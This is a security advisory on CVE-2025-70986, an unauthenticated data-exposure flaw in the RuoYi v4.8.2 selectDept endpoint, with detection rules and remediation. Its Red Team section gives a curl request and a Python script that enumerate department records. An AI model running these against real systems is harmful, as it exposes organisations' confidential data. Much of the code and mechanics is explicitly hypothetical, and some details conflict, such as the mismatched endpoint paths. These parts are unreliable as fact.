CVE-2025-70986

Executive Summary

CVE-2025-70986 is an access control vulnerability in the RuoYi v4.8.2 web application framework. The flaw resides in the selectDept function, which fails to enforce proper authorization checks, allowing an unauthenticated or low-privileged attacker to arbitrarily access sensitive department data. This can lead to information disclosure of organizational structures, employee details, and other confidential business data. The vulnerability has a CVSS score of 0.0 (placeholder) but represents a significant risk due to the potential for data leakage. No public exploit code or patch details are currently available.

Supply Chain & Package Security

RuoYi is a popular open-source Java-based enterprise management system. This vulnerability affects the core framework itself, not a third-party package. Organizations using RuoYi v4.8.2 should treat this as a critical supply chain risk, as the vulnerable component is integral to the application's functionality.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, a realistic assessment based on the description suggests:

• Attack Vector (AV): Network (N) – The function is likely exposed via HTTP.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated access is implied.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerable component is the application itself.
• Confidentiality (C): High (H) – Sensitive department data is exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High – due to ease of exploitation and potential for significant data leakage.

Deep Dive & Mechanics

The selectDept function in RuoYi v4.8.2 is designed to retrieve department information, likely for use in dropdown menus or organizational charts. The vulnerability arises because the function does not verify whether the requesting user has the necessary permissions to view the requested department data. This is a classic case of Insecure Direct Object Reference (IDOR) combined with Missing Function Level Access Control.

Technical Flow:

1. An attacker sends a crafted HTTP request to the endpoint that invokes selectDept.
2. The request may include parameters such as deptId or other identifiers.
3. The server processes the request without checking if the user is authenticated or authorized to access that specific department.
4. The function returns the department data, which may include names, codes, parent departments, and potentially associated user information.

Root Cause: The selectDept method lacks an annotation like @PreAuthorize or manual permission checks that would restrict access to authorized roles (e.g., admin, manager). This oversight allows any user, including unauthenticated ones, to enumerate department structures.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (RuoYi v4.8.2):

// No access control annotation
@GetMapping("/dept/selectDept")
public AjaxResult selectDept(Long deptId) {
    Dept dept = deptService.selectDeptById(deptId);
    return success(dept);
}

Patched Code (Hypothetical):

@PreAuthorize("@ss.hasPermi('system:dept:list')")
@GetMapping("/dept/selectDept")
public AjaxResult selectDept(Long deptId) {
    Dept dept = deptService.selectDeptById(deptId);
    return success(dept);
}

The patched version adds a @PreAuthorize annotation that checks for the system:dept:list permission before allowing access.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy RuoYi v4.8.2 using the official source or Docker image.
2. Ensure the application is accessible over the network.

Exploitation Steps:

1. Identify the endpoint: GET /system/dept/selectDept?deptId=1
2. Send a request without any authentication headers:

   curl -X GET "http://target.com/system/dept/selectDept?deptId=1"
   

3. Observe the response containing department data.
4. Enumerate department IDs (e.g., 1, 2, 3, ...) to extract all department records.

Automated Enumeration Script (Python):

import requests

target = "http://target.com/system/dept/selectDept"
for dept_id in range(1, 100):
    r = requests.get(f"{target}?deptId={dept_id}")
    if r.status_code == 200 and "deptName" in r.text:
        print(f"Department {dept_id}: {r.json()}")

Blue Team

Detection Steps:

1. Monitor HTTP access logs for repeated requests to /system/dept/selectDept with varying deptId parameters.
2. Look for requests from IP addresses that are not authenticated or have low privilege levels.
3. Alert on any response that returns department data without a corresponding authentication token.

Mitigation Steps:

1. Immediately apply the principle of least privilege to the selectDept function.
2. Implement authentication and authorization checks using RuoYi's built-in permission framework.
3. Rate-limit the endpoint to prevent brute-force enumeration.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /system/dept/selectDept with sequential or random deptId parameters.
  • Responses containing JSON with keys like deptName, deptId, parentId, orderNum.
  • Source IP addresses not associated with authenticated users.

• File IOCs:

  • Log entries in sys-operlog or sys-logininfo showing access to the selectDept endpoint without prior authentication.

• Behavioral IOCs:

  • Unusual spikes in requests to the department selection endpoint.
  • Access to the endpoint from IPs outside the expected corporate range.

Detection Engineering

YARA Rule

rule Detect_RuoYi_Dept_Enumeration {
    meta:
        description = "Detects HTTP requests targeting the vulnerable selectDept endpoint in RuoYi v4.8.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70986"
    strings:
        $endpoint = "/system/dept/selectDept"
        $dept_param = "deptId="
    condition:
        $endpoint and $dept_param
}

Sigma Rule

title: RuoYi Department Enumeration Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to enumerate department data via the vulnerable selectDept endpoint in RuoYi v4.8.2
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-70986
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/system/dept/selectDept'
    condition: selection
falsepositives:
    - Legitimate admin users accessing the function
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70986 RuoYi Department Enumeration Attempt"; flow:to_server; content:"GET"; http_method; content:"/system/dept/selectDept"; http_uri; content:"deptId="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /system/dept/selectDept at the web server or application firewall level.
2. Apply access controls: Add @PreAuthorize annotations to the selectDept method to restrict access to authenticated users with appropriate permissions.
3. Upgrade: Monitor the RuoYi project for an official patch and upgrade to a fixed version as soon as it is released.

Long-term Measures:

1. Code Review: Conduct a thorough security review of all controller methods to ensure proper authorization checks are in place.
2. Penetration Testing: Regularly test the application for IDOR and missing function-level access control vulnerabilities.
3. Web Application Firewall (WAF): Deploy a WAF with rules to block suspicious requests to sensitive endpoints.

Workaround: If immediate patching is not possible, implement a custom filter or interceptor that validates authentication and authorization for all /system/dept/* endpoints.

Valters IT
Securing Digital Frontiers